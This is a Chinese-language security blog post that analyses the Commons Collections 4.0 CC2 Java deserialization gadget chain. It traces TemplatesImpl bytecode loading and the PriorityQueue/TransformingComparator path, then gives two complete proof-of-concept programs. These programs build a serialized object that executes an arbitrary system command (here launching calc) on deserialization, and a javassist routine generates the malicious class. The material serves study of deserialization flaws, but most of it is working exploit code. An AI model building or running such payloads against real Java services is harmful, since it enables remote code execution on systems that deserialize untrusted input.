JavaSec-CC2

Fc04dB Lv4

# CC2

链子对应版本:Common Collection 4.0

# 利用 TemplatesImpl 动态加载字节码

利用 TemplatesImpl 动态加载字节码 – Mak 的小破站 (mak4r1.com)

# defineClass

JAVA 加载 class 时会依次尝试执行 ClassLoader 里的三个方法:

loadClass -> findClass -> defineClass

  • loadClass 从已经加载的缓存、父加载器寻找该类字节码
  • findClass 从指定 uri 寻找 class 文件,即远程或本地的.class 文件或 jar 包
  • defineClass 加载前两者找到的字节码,处理成 JAVA 类

如果能在程序运行时执行 defineClass 加载自定义的字节码,就能做到动态加载字节码,创建类了。

例如,编写一下类:

1
2
3
4
5
public class evil {
public evil() throws Exception{
Runtime.getRuntime().exec("calc");
}
}

编译出这个类的 class 文件,然后使用 ClassLoader.defineClass 加载该类的字节码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public static void main(String[] args) throws Exception {
File file = new File("./out/production/testDefineClass/evil.class");
FileInputStream filein = new FileInputStream(file);
byte[] bytess = new byte[(int)file.length()];
filein.read(bytess);
String base64 = new String(Base64.getEncoder().encode(bytess));
System.out.println(base64);

String evilbase64 = base64;//要加载的恶意类
byte[] evilbytes = Base64.getDecoder().decode(evilbase64);

//直接使用defineClass加载字节码
Method defclass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defclass.setAccessible(true);
Class evilclass = (Class) defclass.invoke(ClassLoader.getSystemClassLoader(),evilbytes,0,evilbytes.length);
evilclass.newInstance();
}

可以看到成功创建该类,new 该类对象执行构造方法,弹出计算器。

# TemplatesImpl

image-20240918173817407

在 ClassLoader 类中,defineClass 的修饰是 protected,作用域不开放,在攻击的时候一般不能直接触发

而 TemplatesImpl 类中有一条方法利用链可以通过 public 的方法触发到参数可控 defineClass,加载任意类。

先找 defineClass 的执行处,在方法 defineClass 中

image-20240918174452779

在方法 defineTransletClasses 中,执行了类内的 defineClass

image-20240918174758591

继续向上跟进,找到 getTransletInstance 方法

image-20240918174835198

继续向上跟,找到 newTransformer 方法

image-20240918174855236

这里方法是 public,可以直接访问执行。
因此我们的利用链是:

1
2
3
4
public synchronized Transformer newTransformer() ->
private Translet getTransletInstance() ->
private void defineTransletClasses() ->
Class defineClass(final byte[] b)

利用的条件:
属性_name 不为 null,属性_class 为 null(_class 本来就为 null):

属性_bytecode 为二维 byte 数组,存入恶意类的字节码:

image-20240918175246443

然后_tfactory 要设置成 TransformerFactoryImpl 对象,并且恶意类要继承类 AbstractTranslet,这个不知道
因此
恶意类:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class evil extends AbstractTranslet {
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
public evil() throws Exception{
Runtime.getRuntime().exec("calc");
}

}

主程序:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import java.io.File;
import java.io.FileInputStream;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.Base64;

public class Main {
public static <T> void setValue(TemplatesImpl obj,String fname,T newf) throws Exception {
Field filed = TemplatesImpl.class.getDeclaredField(fname);
filed.setAccessible(true);
filed.set(obj,newf);
}//利用反射设置TemplatesImpl的私有属性

public static void main(String[] args) throws Exception {
File file = new File("./out/production/testDefineClass/evil.class");
FileInputStream filein = new FileInputStream(file);
byte[] bytess = new byte[(int)file.length()];
filein.read(bytess);
String base64 = new String(Base64.getEncoder().encode(bytess));
System.out.println(base64);

String evilbase64 = base64;//要加载的恶意类
byte[] evilbytes = Base64.getDecoder().decode(evilbase64);

// //直接使用defineClass加载字节码
// Method defclass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
// defclass.setAccessible(true);
// Class evilclass = (Class) defclass.invoke(ClassLoader.getSystemClassLoader(),evilbytes,0,evilbytes.length);
// evilclass.newInstance();

//使用TemplatesImpl加载字节码
byte[][] evilbytes1 = new byte[][]{evilbytes};
TemplatesImpl tempobj = new TemplatesImpl();
setValue(tempobj,"_name","Fc0");
setValue(tempobj,"_bytecodes",evilbytes1);
setValue(tempobj,"_tfactory",new TransformerFactoryImpl());
tempobj.newTransformer();//执行newTransformer方法
}
}

成功弹计算器

image-20240918175723622

# 利用连分析

链子有两种实现方式,第二种是基于 ysoserial 的实现方式做的,用到了 javassist 依赖,用于生成恶意类的字节码,也可以不装这个依赖,手动编译恶意类然后读取其字节码,效果一样。
javassist 生成任意类的字节码的简单演示(比较简单,网上复制的):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
//实例化一个ClassPool容器
ClassPool pool = ClassPool.getDefault();
//向pool容器类搜索路径的起始位置插入AbstractTranslet.class
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
//新建一个CtClass,类名为Cat
CtClass cc = pool.makeClass("Cat");
//设置一个要执行的命令
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc.exe\");";
//制作一个空的类初始化,并在前面插入要执行的命令语句
cc.makeClassInitializer().insertBefore(cmd);
//重新设置一下类名,生成的类的名称就不再是Cat
String randomClassName = "EvilCat" + System.nanoTime();
cc.setName(randomClassName);
//将生成的类文件保存下来
cc.writeFile();
//设置AbstractTranslet类为该类的父类
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
//将该类转换为字节数组
byte[] classBytes = cc.toBytecode();
//将一维数组classBytes放到二维数组targetByteCodes的第一个元素

# 链子一

CC2 链利用流程:

  1. 构造一个 TestTemplatesImpl 恶意类转成字节码,然后通过反射将恶意类的字节码注入到 TemplatesImpl 对象的_bytecodes 属性(构造利用核心代码)

  2. 创建一个 InvokerTransformer 并传递一个 newTransformer 方法,然后将 InvokerTransformer 方法名传递给 TransformingComparator(这一步和 CC1 链非常相似)

  3. 通过反射构造 PriorityQueue 队列的 comparator 和 queue 两个字段,将 PriorityQueue 队列的 comparator 字段设置为 TransformingComparator,然后将 queue 字段设置为 TemplatesImpl 对象,触发利用链

链子的终点和 CC1 链一样,仍然是 InvokeTransformer 的 transform 方法实现任意类任意方法执行
还是查找 transform 方法的执行点,在 TransformComparator 中有个 compare 方法:

image-20240918223441356

根据 CC1 链,我们需要让 transform 的主体也就是属性 transformer 是 CC1 链中的那个 ChainedTransformer 对象
看到 TransformComparator 的构造方法:

image-20240918230538749

可以直接用 new 构造赋值。
因此直接使用

1
2
3
4
5
Class runtimeClass = Runtime.class;
Transformer[] transes = new Transformer[]{new ConstantTransformer(runtimeClass),new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})};
ChainedTransformer chtfm = new ChainedTransformer(transes);
// chtfm.transform(runtimeClass);
TransformingComparator tc = new TransformingComparator(chtfm);

就获得我们想要的 TransformingComparator 对象

代码分析

  1. Transformer[] transes = new Transformer[]{}
    这里你定义了一个 Transformer 数组,每个 Transformer 代表一个操作,通过这些操作你可以在运行时进行反射调用。
  2. new ConstantTransformer(runtimeClass)
    这一步创建了一个 ConstantTransformer ,将 Runtime.class 作为常量传递给后续的 TransformerRuntime.class 是 Java 的 Runtime 类,用于执行底层系统命令。
  3. new InvokerTransformer("getDeclaredMethod", ...)
    这里使用了 InvokerTransformer ,通过反射调用 Runtime.classgetDeclaredMethod 方法,获取 RuntimegetRuntime() 方法。
  4. new InvokerTransformer("invoke", ...)
    这个 InvokerTransformer 用于调用前面获取到的 getRuntime() 方法,来获取当前的 Runtime 实例。
  5. new InvokerTransformer("exec", ...)
    最后通过 exec 方法,调用 Runtime 实例的 exec(String command) 方法,传入命令 "calc" (即在 Windows 系统中打开计算器)。
  6. ChainedTransformer chtfm = new ChainedTransformer(transes)
    这一步将所有 Transformer 链接起来,形成一个链式调用,通过 ChainedTransformer 将多个操作组合成一个整体执行流程。
  7. TransformingComparator tc = new TransformingComparator(chtfm)
    TransformingComparator 是用于比较的包装类。这里的关键点是, TransformingComparator 将会使用你定义的 ChainedTransformer 来转换输入对象,从而在比较时触发相应的链式调用。

继续往下找,compare 方法在 JAVA 的优先级队列类 PriorityQueue 中有实现:

image-20240918233115265

而 PriorityQueue 的 readObject 方法正好会用到这个 compare。找到 readObject 方法:

image-20240918233145149

跟进最后一行的 heapify 方法:

image-20240918233202746

跟进 siftDown 方法

image-20240918233218660

跟进 siftDownUsingComparator 方法:

image-20240918233238698

这里就跟到了 compare 方法

而对于属性 queue,看到 writeObject 方法:

image-20240918233303775

会遍历 queue 进行 writeObject,对应的 readObject 依次读入 queue 的各个对象,并检查 queue 是否符合 writeObject 时的数量。
这样整个链子就完结了。

至于参数,由于我们直接使用 CC1 链中以 ConstantTransformer 开头的 ChainedTransformer 链式调用 transform 的方法,就不用关心给到 transform 的参数是什么了(ConstantTransformer 固定返回我们想要的对象,给第二个 transform 作为参数)

只需要让 comparator 属性为我们构造的的 tc 就行了,同样这也直接在构造方法里就可以赋值

image-20240918235526020

构造 PriorityQueue 对象之后,我们这里使用 add 方法对 queue 进行赋值,确保前面这些方法在能够正常对 queue 遍历即可

1
2
3
4
PriorityQueue pq = new PriorityQueue(tc);

pq.add(1);
pq.add(2);

但是这样会出现问题。
跟进 add 方法:

image-20240918235710222

跟进 offer:

image-20240918235736574

跟进 siftUp:

image-20240918235755313

这里也用到了 siftUpUsingComparator 方法,这会在序列化数据之前就执行我们的恶意命令
这是无所谓的,问题关键在于 compare 方法中,在命令执行后会抛出一个异常
image_mak
这会导致我们构造序列化数据的过程直接中断。

这是因为这一句

image-20240919000051620

我们在构造 TransformingComparator 对象的时候,用的是这个构造方法

image-20240919000121686

于是就会跟进调用这个重载的构造方法

image-20240919000148970

因此 decorated 属性被设置为 ComparatorUtils.NATURAL_COMPARATOR
跟进这个 ComparatorUtils 看看

image-20240919000625027

那么跟进看看 ComparableComparator.comparableComparator () 静态方法

image-20240919000653854

再跟进到当前类的 INSTANCE

image-20240919000802458

到这里指向了最终的对象,也就是说执行了 ComparableComparator 的 compare 方法,给的两个参数是 transform 方法返回的结果
继续跟进到 ComparableComparator 的 compare 方法

image-20240919001001264

参数类型要求的是泛型 E,而 E 在类中的声明是:

image-20240919001051412

这要求参数必须是实现了 Comparable 接口的类型。而我们 transform 执行的是 exec 方法,显然返回的对象类型 java.lang.Process 没有实现这个接口,因此就报错了

解决的办法有很多,一种是在构造 PriorityQueue 用数字做参数,这样走的就是这个构造器

image-20240919001152746

comparator 为 null,这样执行 siftUp 和 siftDown 的时候就会走 else 分支,执行 siftUpComparable

image-20240919001323422

这个方法没有 compare,处理正常数据就不会报错。
在 add 数据之后,通过反射把 PriorityQueue 对象的 comparator 设置成我们的 tc,就拿到了我们最终想要序列化的 PriorityQueue 对象了
POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
public class Main {
public static void serialize(Object o) throws Exception{
ObjectOutputStream objout = new ObjectOutputStream(new FileOutputStream("ser.txt"));
objout.writeObject(o);
}

public static void unserialize() throws Exception{
ObjectInputStream objinp = new ObjectInputStream(new FileInputStream("ser.txt"));
objinp.readObject();
}
public static void main(String[] args) throws Exception{
//链子1
Class runtimeClass = Runtime.class;
Transformer[] transes = new Transformer[]{new ConstantTransformer(runtimeClass),new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})};
ChainedTransformer chtfm = new ChainedTransformer(transes);
// chtfm.transform(runtimeClass);
TransformingComparator tc = new TransformingComparator(chtfm);
tc.compare(runtimeClass,runtimeClass);
//
PriorityQueue pq = new PriorityQueue(1);//创建无comparator的PriorityQueue

pq.add(1);
pq.add(2);
Field cp = PriorityQueue.class.getDeclaredField("comparator");//通过反射设置comparator
cp.setAccessible(true);
cp.set(pq,tc);
serialize(pq);
unserialize();
}}

# 链子二

其实是一个链子,只是实现方法不一样,在 ysoserial 中 CC2 链子使用的是 templatesImpl 动态加载字节码的函数,最终实现 exec
也就是说我们最终想实现的代码是:

1
2
3
4
5
6
7
TemplatesImpl tempobj = new TemplatesImpl();
setValue(tempobj,"_name","123");
setValue(tempobj,"_bytecodes",generateByteCode());
setValue(tempobj,"_tfactory",new TransformerFactoryImpl());
InvokerTransformer ivt = new InvokerTransformer("newTransformer", null, null);

ivt.transform(tempobj)

(TemplatesImpl 的 newTransformer 最终是能跟到 defineClass 的)
其中 generateByteCode 方法,使用 javassist 返回首元素是恶意类的字节码的二维 byte 数组:

1
2
3
4
5
6
7
8
9
10
11
public static byte[][] generateByteCode() throws Exception{ //返回恶意类的字节码的二维byte数组,该类在加载时即执行恶意的静态代码块
ClassPool cp = ClassPool.getDefault();
cp.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = cp.makeClass("evil");
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
cc.makeClassInitializer().insertBefore(cmd);
cc.setSuperclass(cp.get(AbstractTranslet.class.getName()));
byte[][] evilbyte = new byte[][]{cc.toBytecode()};
return evilbyte;

}

代码解析:

  1. ClassPool 与 CtClass:
    • ClassPool cp = ClassPool.getDefault(); 创建了一个默认的类池,用于生成新的类。
    • CtClass cc = cp.makeClass("evil"); 创建了一个名为 “evil” 的类。
  2. 插入静态代码块:
    • cc.makeClassInitializer().insertBefore(cmd); 通过插入静态代码块,在类加载时执行 cmd ,该 cmd 是调用计算器的命令。
  3. 设置父类:
    • cc.setSuperclass(cp.get(AbstractTranslet.class.getName())); 设置 evil 类的父类为 AbstractTranslet (该类属于 javax.xml.transform 包的一部分),这是因为某些 TemplatesImpl 类会要求其子类继承自 AbstractTranslet
  4. 生成字节码:
    • byte[][] evilbyte = new byte[][]{cc.toBytecode()}; 将生成的类字节码保存到二维字节数组 evilbyte 中,并返回。

除此之外,实现方式还略有不同,一是因为 templatesImpl 和 Runtime 不一样,它是一个可序列化的类,二是因为 CC2 链传给 transform 的参数是可控的(和 CC1 不一样),因此这里没有用到 ChainedTransformer 和 ConstantTransformer 而是直接将 templatesImpl 对象作为参数传给了 InvokeTransformer 的 transform

看看参数是怎么传递的
直接看最后的 siftDownUsingComparator,compare 拿到的参数 c 和 queue [right] 就是直接从 queue 中取得的对象。

image-20240919003136489

而 compare 方法中,拿到的两个参数 obj1 和 obj2 都是 transform 方法的参数

image-20240918223441356

因此只要让我们的 PriorityQueue 对象的 queue 数组是两个我们的 tempobj 就可以了

这里换一种方式解决序列化时候报错的问题,用反射而非 add 设置我们的 queue 属性。由于不是 add,我们还需要设置好数组大小 size 属性,不然 size 为 0,走到这里就会终止:

image-20240919003405744

1
2
3
4
5
6
7
Field qf_queue = PriorityQueue.class.getDeclaredField("queue");
qf_queue.setAccessible(true);
qf_queue.set(pq,new Object[]{tempobj,tempobj});

Field qf_size = PriorityQueue.class.getDeclaredField("size");
qf_size.setAccessible(true);
qf_size.set(pq,2);

完整 POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
package org.example;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

//TIP To <b>Run</b> code, press <shortcut actionId="Run"/> or
// click the <icon src="AllIcons.Actions.Execute"/> icon in the gutter.
public class Main {
public static void serialize(Object o) throws Exception{
ObjectOutputStream objout = new ObjectOutputStream(new FileOutputStream("ser.txt"));
objout.writeObject(o);
}

public static void unserialize() throws Exception{
ObjectInputStream objinp = new ObjectInputStream(new FileInputStream("ser.txt"));
objinp.readObject();
}
public static byte[][] generateByteCode() throws Exception{ //返回恶意类的字节码的二维byte数组,该类在加载时即执行恶意的静态代码块
ClassPool cp = ClassPool.getDefault();
cp.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = cp.makeClass("evil");
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
cc.makeClassInitializer().insertBefore(cmd);
cc.setSuperclass(cp.get(AbstractTranslet.class.getName()));
byte[][] evilbyte = new byte[][]{cc.toBytecode()};
return evilbyte;

}
public static <T> void setValue(TemplatesImpl obj, String fname, T newf) throws Exception {
Field filed = TemplatesImpl.class.getDeclaredField(fname);
filed.setAccessible(true);
filed.set(obj,newf);
}//利用反射设置TemplatesImpl的私有属性

public static void main(String[] args) throws Exception{
//链子1
// Class runtimeClass = Runtime.class;
// Transformer[] transes = new Transformer[]{new ConstantTransformer(runtimeClass),new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})};
// ChainedTransformer chtfm = new ChainedTransformer(transes);
//// chtfm.transform(runtimeClass);
// TransformingComparator tc = new TransformingComparator(chtfm);
// tc.compare(runtimeClass,runtimeClass);
////
// PriorityQueue pq = new PriorityQueue(1);
//
// pq.add(1);
// pq.add(2);
// Field cp = PriorityQueue.class.getDeclaredField("comparator");
// cp.setAccessible(true);
// cp.set(pq,tc);
// serialize(pq);
// unserialize();

//链子2
TemplatesImpl tempobj = new TemplatesImpl();
setValue(tempobj,"_name","123");
setValue(tempobj,"_bytecodes",generateByteCode());
setValue(tempobj,"_tfactory",new TransformerFactoryImpl());
InvokerTransformer ivt = new InvokerTransformer("newTransformer", null, null);

// ivt.transform(tempobj);
// PriorityQueue pq = new PriorityQueue();
// Field cp = PriorityQueue.class.getDeclaredField("comparator");
// cp.setAccessible(true);
// cp.set(pq,ivt);

TransformingComparator tc = new TransformingComparator(ivt);
PriorityQueue pq = new PriorityQueue(tc);

Field qf_queue = PriorityQueue.class.getDeclaredField("queue");
qf_queue.setAccessible(true);
qf_queue.set(pq,new Object[]{tempobj,tempobj});

Field qf_size = PriorityQueue.class.getDeclaredField("size");
qf_size.setAccessible(true);
qf_size.set(pq,2);

serialize(pq);
unserialize();

}
}

image-20240919003454555

调用链:

1
2
3
4
5
6
7
8
9
10
11
12
13
PriorityQueue.readObject ->
PriorityQueue.heapify ->
PriorityQueue.siftDown ->
PriorityQueue.siftDownUsingComparator ->

TransformingComparator.compare ->
InvokerTransformer.transform ->

TemplatesImpl.newTransformer ->
TemplatesImpl.getTransletInstance ->
TemplatesImpl.defineTransletClasses ->

ClassLoader.defineClass
  • Title: JavaSec-CC2
  • Author: Fc04dB
  • Created at : 2024-09-18 12:10:28
  • Updated at : 2024-10-18 22:46:47
  • Link: https://redefine.ohevan.com/2024/09/18/JavaSec-CC2/
  • License: This work is licensed under CC BY-NC-SA 4.0.
Comments